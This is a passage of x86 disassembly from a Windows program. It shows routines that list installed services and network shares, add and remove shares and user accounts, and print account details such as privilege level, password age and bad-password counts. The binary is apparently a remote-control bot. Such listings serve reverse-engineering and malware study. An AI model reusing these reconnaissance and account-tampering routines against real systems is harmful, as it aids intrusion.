loc_40E599:				; CODE XREF: sub_40E52B+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E5A3:				; CODE XREF: sub_40E52B+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40E5D2
		dec	ecx
		jz	short loc_40E5CB
		dec	ecx
		jz	short loc_40E5C4
		dec	ecx
		jnz	loc_40E656	; default
					; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40E648
; ---------------------------------------------------------------------------


loc_40E5C4:				; CODE XREF: sub_40E52B+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E5CB:				; CODE XREF: sub_40E52B+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E5D2:				; CODE XREF: sub_40E52B+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E5D9:				; CODE XREF: sub_40E52B+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E5E0:				; CODE XREF: sub_40E52B+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40E656 ; default
					; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40E643
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40E656 ; default
					; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_40E697[ecx]
		jmp	ds:off_40E66F[ecx*4] ; switch jump


loc_40E604:				; DATA XREF: seg000:off_40E66Fo
		push	offset aTheSpecifiedDa ; jumptable 0040E5FD case 7
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E60B:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceDepe ; jumptable 0040E5FD case 17
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E612:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceDe_0 ; jumptable 0040E5FD case 10
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E619:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceHasB ; jumptable 0040E5FD case 0
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E620:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheSpecified_0 ; jumptable 0040E5FD case 2
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E627:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceCoul ; jumptable 0040E5FD case 11
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E62E:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceHa_0 ; jumptable 0040E5FD case 14
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E635:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheRequested_1 ; jumptable 0040E5FD case 3
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E63C:				; CODE XREF: sub_40E52B+D2j
					; DATA XREF: seg000:off_40E66Fo
		push	offset aTheServiceHasN ; jumptable 0040E5FD case 4
		jmp	short loc_40E648
; ---------------------------------------------------------------------------


loc_40E643:				; CODE XREF: sub_40E52B+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40E648:				; CODE XREF: sub_40E52B+41j
					; sub_40E52B+4Bj ...
		push	offset dword_45ED50
		call	sub_41050B
		pop	ecx
		pop	ecx
		jmp	short loc_40E669
; ---------------------------------------------------------------------------


loc_40E656:				; CODE XREF: sub_40E52B+36j
					; sub_40E52B+89j ...
		push	eax		; default
					; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_45ED50
		call	sub_41050B
		add	esp, 0Ch


loc_40E669:				; CODE XREF: sub_40E52B+129j
		mov	eax, offset dword_45ED50
		retn
sub_40E52B	endp

; ---------------------------------------------------------------------------
off_40E66F	dd offset loc_40E619	; DATA XREF: sub_40E52B+D2r
		dd offset loc_40E620	; jump table for switch	statement
		dd offset loc_40E635
		dd offset loc_40E63C
		dd offset loc_40E604
		dd offset loc_40E612
		dd offset loc_40E627
		dd offset loc_40E62E
		dd offset loc_40E60B
		dd offset loc_40E656
byte_40E697	db	0,     9,     1,     2 ; DATA XREF: sub_40E52B+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6A9	proc near		; CODE XREF: seg000:0040AAADp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_430788	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_40E6E1:				; CODE XREF: sub_40E6A9+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_430758	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40E71B
		call	ds:dword_41C068	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40E7CF


loc_40E71B:				; CODE XREF: sub_40E6A9+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40E7C6
		lea	esi, [ebp+var_188]


loc_40E72C:				; CODE XREF: sub_40E6A9+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40E775
		dec	eax
		jz	short loc_40E76E
		dec	eax
		jz	short loc_40E767
		dec	eax
		jz	short loc_40E760
		dec	eax
		jz	short loc_40E759
		dec	eax
		jz	short loc_40E752
		dec	eax
		jz	short loc_40E74B
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E74B:				; CODE XREF: sub_40E6A9+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E752:				; CODE XREF: sub_40E6A9+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E759:				; CODE XREF: sub_40E6A9+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E760:				; CODE XREF: sub_40E6A9+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E767:				; CODE XREF: sub_40E6A9+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E76E:				; CODE XREF: sub_40E6A9+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40E77A
; ---------------------------------------------------------------------------


loc_40E775:				; CODE XREF: sub_40E6A9+87j
		push	offset aStopped	; "    Stopped"


loc_40E77A:				; CODE XREF: sub_40E6A9+A0j
					; sub_40E6A9+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41050B
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40E72C


loc_40E7C6:				; CODE XREF: sub_40E6A9+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40E6E1


loc_40E7CF:				; CODE XREF: sub_40E6A9+6Cj
		push	[ebp+var_C]
		call	ds:dword_4306A8	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40E6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7E6	proc near		; CODE XREF: seg000:loc_40AB64p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40E87F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40E80F
		dec	eax
		jnz	short loc_40E85F
		push	edi
		push	0
		call	sub_40E9B8
		pop	ecx
		pop	ecx
		jmp	short loc_40E85B
; ---------------------------------------------------------------------------


loc_40E80F:				; CODE XREF: sub_40E7E6+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40E84D
		push	24h
		push	edi
		call	sub_412760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E84D
		push	57h
		pop	eax


loc_40E826:				; CODE XREF: sub_40E7E6+77j
		push	eax
		call	sub_40F190
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45F00C
		push	ds:off_42CC50[eax*4]
		push	offset dword_42D35C
		push	esi
		call	sub_41050B
		add	esp, 18h
		jmp	short loc_40E89F
; ---------------------------------------------------------------------------


loc_40E84D:				; CODE XREF: sub_40E7E6+2Dj
					; sub_40E7E6+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40E90C
		add	esp, 0Ch


loc_40E85B:				; CODE XREF: sub_40E7E6+27j
		test	eax, eax
		jnz	short loc_40E826


loc_40E85F:				; CODE XREF: sub_40E7E6+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_45F00C
		push	ds:off_42CC54[eax*4]
		push	offset dword_42D32C
		push	esi
		call	sub_41050B
		add	esp, 10h
		jmp	short loc_40E89F
; ---------------------------------------------------------------------------


loc_40E87F:				; CODE XREF: sub_40E7E6+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45F00C
		lea	eax, [eax+eax*2]
		push	ds:off_42CC50[eax*4]
		push	offset dword_42D2F4
		push	esi
		call	sub_41050B
		add	esp, 0Ch


loc_40E89F:				; CODE XREF: sub_40E7E6+65j
					; sub_40E7E6+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40E7E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8A5	proc near		; CODE XREF: sub_40FC75+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40E8B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E8B2:				; CODE XREF: sub_40E8A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_41C11C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_45F20C,	1
		mov	ebp, eax
		jnz	short loc_40E8EF
		or	ds:byte_45F20C,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_411605
		pop	ecx
		mov	ds:dword_45EFAC, eax


loc_40E8EF:				; CODE XREF: sub_40E8A5+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_45EFAC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_45EFAC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40E8A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E90C	proc near		; CODE XREF: sub_40E7E6+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40E977
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E977
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_412760
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40E977
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_4306A4
		pop	edi
		leave
		retn
sub_40E90C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E977	proc near		; CODE XREF: sub_40E90C+Ap
					; sub_40E90C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40E984
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E984:				; CODE XREF: sub_40E977+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41C120
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_411605
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E9B8	proc near		; CODE XREF: sub_40E7E6+20p
					; sub_40FC75+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E977
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E977
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_430680
		pop	esi
		retn
sub_40E9B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9DB	proc near		; CODE XREF: seg000:0040AB90p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40E977
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 18h


loc_40EA14:				; CODE XREF: sub_40E9DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_4306F0
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40EA77
		cmp	ebx, 0EAh
		jz	short loc_40EA77
		push	ebx
		push	ebx
		call	sub_40F190
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42D3BC
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 24h
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EA77:				; CODE XREF: sub_40E9DB+5Dj
					; sub_40E9DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40EADB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40EA85:				; CODE XREF: sub_40E9DB+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_430698	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40EA9C
		mov	eax, offset aNo	; "No"


loc_40EA9C:				; CODE XREF: sub_40E9DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40EA85
		xor	esi, esi


loc_40EADB:				; CODE XREF: sub_40E9DB+A2j
		push	[ebp+var_4]
		call	ds:dword_430820


loc_40EAE4:				; CODE XREF: sub_40E9DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_40EA14
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E9DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAFC	proc near		; CODE XREF: seg000:loc_40AC06p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40EBA0
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40EB3E
		dec	eax
		jz	short loc_40EB33
		dec	eax
		jnz	short loc_40EB59
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40EC42
		add	esp, 14h
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB33:				; CODE XREF: sub_40EAFC+1Dj
		push	ebx
		push	edi
		call	sub_40EC21
		pop	ecx
		pop	ecx
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3E:				; CODE XREF: sub_40EAFC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40EB52
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40EBC7
		add	esp, 0Ch
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB52:				; CODE XREF: sub_40EAFC+45j
		push	57h
		pop	eax


loc_40EB55:				; CODE XREF: sub_40EAFC+35j
					; sub_40EAFC+40j ...
		cmp	eax, edi
		jnz	short loc_40EB79


loc_40EB59:				; CODE XREF: sub_40EAFC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45F210
		push	ds:off_42CC54[eax*4]
		push	offset dword_42D4AC
		push	esi
		call	sub_41050B
		add	esp, 10h
		jmp	short loc_40EBC0
; ---------------------------------------------------------------------------


loc_40EB79:				; CODE XREF: sub_40EAFC+5Bj
		push	eax
		call	sub_40F190
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45F210
		push	ds:off_42CC50[eax*4]
		push	offset dword_42D46C
		push	esi
		call	sub_41050B
		add	esp, 18h
		jmp	short loc_40EBC0
; ---------------------------------------------------------------------------


loc_40EBA0:				; CODE XREF: sub_40EAFC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45F210
		lea	eax, [eax+eax*2]
		push	ds:off_42CC50[eax*4]
		push	offset dword_42D430
		push	esi
		call	sub_41050B
		add	esp, 0Ch


loc_40EBC0:				; CODE XREF: sub_40EAFC+7Bj
					; sub_40EAFC+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40EAFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EBC7	proc near		; CODE XREF: sub_40EAFC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40E977
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40E977
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40E977
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_430688
		pop	edi
		leave
		retn
sub_40EBC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC21	proc near		; CODE XREF: sub_40EAFC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40E977
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40E977
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43067C
		pop	esi
		retn
sub_40EC21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC42	proc near		; CODE XREF: sub_40EAFC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40E977
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40E977
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_4307E8
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40EFCF
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40F00A
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41050B
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40ED5B
		dec	eax
		jz	short loc_40ED54
		dec	eax
		jz	short loc_40ED4D
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40ED60
; ---------------------------------------------------------------------------


loc_40ED4D:				; CODE XREF: sub_40EC42+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40ED60
; ---------------------------------------------------------------------------


loc_40ED54:				; CODE XREF: sub_40EC42+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40ED60
; ---------------------------------------------------------------------------


loc_40ED5B:				; CODE XREF: sub_40EC42+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40ED60:				; CODE XREF: sub_40EC42+109j
					; sub_40EC42+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41050B
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40E367
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
